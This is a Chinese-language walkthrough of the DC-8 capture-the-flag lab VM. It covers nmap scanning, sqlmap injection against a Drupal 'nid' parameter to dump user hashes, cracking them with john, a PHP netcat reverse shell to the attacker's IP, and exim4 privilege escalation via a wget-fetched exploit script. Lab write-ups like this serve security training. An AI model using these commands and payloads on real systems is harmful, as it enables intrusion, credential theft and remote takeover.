1.靶机部署
kali安装:https://blog.youkuaiyun.com/l2872253606/article/details/123592717?spm=1001.2014.3001.5502
靶机下载:https://www.five86.com/downloads/DC-8.zip
解压后得到一个.ova的文件:
使用VMware打开该文件:
设置好名称和虚拟机位置:
注意:导入过程中可能会提示导入失败,点击重试即可。
导入成功,打开虚拟机,到此虚拟机部署完成!
注意:靶机的网络连接模式必须和kali一直,让DC靶机跟kali处于同一网段,这用kali才能扫出DC的主机。
2.信息收集
打开kali,为了便于操作,建议使用root用户登录kali。
2.1 IP扫描
使用nmap扫描同一个段内存活的IP,发现149开启了80端口,经过访问确实是我们的靶机!
nmap 192.168.11.0/24
2.2 其他信息收集
端口扫描:
nmap -A -T4 -p- 192.168.11.149
敏感目录扫描:
dirb http://192.168.11.149
指纹探测:
发现网站的CMS是Drupal
3.渗透过程
3.1 漏洞查找
访问页面,偶然发现,我们点击Details的内容,地址栏的nid会发生变化,推测这里是否存在SQL注入。
在nid参数后面加’,发现出现了报错:
3.2 SQL注入
使用sqlmap跑一下,爆一下数据库:
什么?看不懂命令??都到DC-8了你看不懂命令,建议回炉。
sqlmap -u “http://192.168.11.149/?nid=1” --level=5 --risk=3 --batch --current-db
爆出数据库之后再来爆一下表:
sqlmap -u “http://192.168.11.149/?nid=1” --level=5 --risk=3 --batch -D ‘d7db’ -tables
有一堆表,优先选择敏感字段,爆一下users表里的字段:
sqlmap -u “http://192.168.11.149/?nid=1” --level=5 --risk=3 --batch -D ‘d7db’ -T ‘users’ -columns
爆字段内容:
sqlmap -u “http://192.168.11.149/?nid=1” --level=5 --risk=3 --batch -D ‘d7db’ -T ‘users’ -C’name,pass,uid’ -dump
3.3 解密
将我们得到的密码保存下来,Drupal的hash是经过特殊加密的,使用john进行爆破:
用户名:john
密码:turtle
3.4 登录网站
使用我们爆出来的用户名和密码登录网站:
登录地址:http://dc-8/user
导出搜寻一番,发现一处可以写PHP代码的地方:
3.5 反弹shell
写入反弹shell代码:
写好之后往下翻提交:
<?php
@exec("nc -e /bin/bash 192.168.11.128 4444");
?>
卡里端开启监听!!!
然后在找到这个页面,信息随便填,然后提交:
反弹shell成功:
生成可交互式shell:
python -c “import pty;pty.spawn(‘/bin/bash’)”
3.6 提权
查找一下SUID权限的二进制文件:
find / -perm -4000 -print 2>/dev/null
因为之前的DC靶机exim4提权都失败了,这里再试一下,先查看一下版本:
exim --version
查找一下漏洞:
为什么选这个,好歹打了这么多靶机了,自己悟!
searchsploit exim 4
复制文件:
然后将文件传输到靶机里面,我这里使用的是python开启ftp的方式:
python3 -m http.server 80
靶机端为了避免权限不足的问题,我们可以先进入tmp文件夹进行操作:
wget 192.168.11.128/hack.sh
赋予文件权限:
chmod +777 hack.sh
根据脚本提示,执行文件:
./hack.sh -m netcat